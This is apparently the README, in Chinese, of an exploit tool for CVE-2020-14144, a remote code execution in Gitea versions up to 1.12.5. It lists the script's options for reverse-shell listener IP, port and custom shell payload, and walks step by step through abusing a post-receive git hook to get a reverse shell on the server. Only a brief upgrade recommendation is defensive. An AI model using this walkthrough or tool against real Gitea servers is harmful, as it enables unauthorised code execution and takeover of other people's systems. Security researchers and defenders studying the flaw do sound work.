一个利用 CVE-2020-14144(GiTea 认证远程代码执行)的脚本,通过 Git 钩子实现攻击
-f 选项上传自定义 Shell 脚本并在远程执行$ ./CVE-2020-14144-GiTea-git-hooks-rce.py -h
_____ _ _______
/ ____(_)__ __| CVE-2020-14144
| | __ _ | | ___ __ _
| | |_ | | | |/ _ \/ _` | Authenticated Remote Code Execution
| |__| | | | | __/ (_| |
\_____|_| |_|\___|\__,_| GiTea versions >= 1.1.0 to <= 1.12.5
usage: CVE-2020-14144-GiTea-git-hooks-rce.py [-h] [-v] -t TARGET -u USERNAME -p PASSWORD [-I REV_IP] [-P REV_PORT] [-f PAYLOAD_FILE]
CVE-2020-14144 - GiTea authenticated Remote Code Execution using git hooks
optional arguments:
-h, --help show this help message and exit
-v, --verbose Increase verbosity.
-t TARGET, --target TARGET
Target host (http://..., https://... or domain name)
-u USERNAME, --username USERNAME
GiTea username
-p PASSWORD, --password PASSWORD
GiTea password
-I REV_IP, --rev-ip REV_IP
Reverse shell listener IP
-P REV_PORT, --rev-port REV_PORT
Reverse shell listener port
-f PAYLOAD_FILE, --payload-file PAYLOAD_FILE
Path to shell script payload to use.
为了成功利用此漏洞/功能,目标服务器的 GiTea 版本应介于 1.1.0 和 1.13 之间,并且你需要一个启用了“可创建 Git 钩子”权限的有效账户(用户名、密码)。

从系统管理员的角度来看,利用前的 gitea 进程如下所示:

首先,我们需要使用自己的账户在 GiTea Web 界面上创建一个仓库。创建仓库后,进入 Settings -> Git Hooks -> Post Receive Hook。你可以在此钩子中编写一个在收到新提交后执行的 Shell 脚本。

现在,我们将在攻击机上创建一个临时目录,并推送到远程仓库。这将触发 Post Receive Hook 脚本。
touch README.md
git init
git add README.md
git commit -m "Initial commit"
git remote add origin https://vulnserver/testuser/vuln.git
git push -u origin master
当我们把提交推送到远程仓库后,它将触发 Post Receive Hook 脚本,从而获得一个反向 Shell!

利用完成后,系统管理员可以轻松地在 GiTea 的子进程中看到我们分离出来的反向 Shell:

建议至少更新到 1.13.0 版本。
欢迎提交 Pull Request。如果你想添加其他功能,请随时打开 Issue。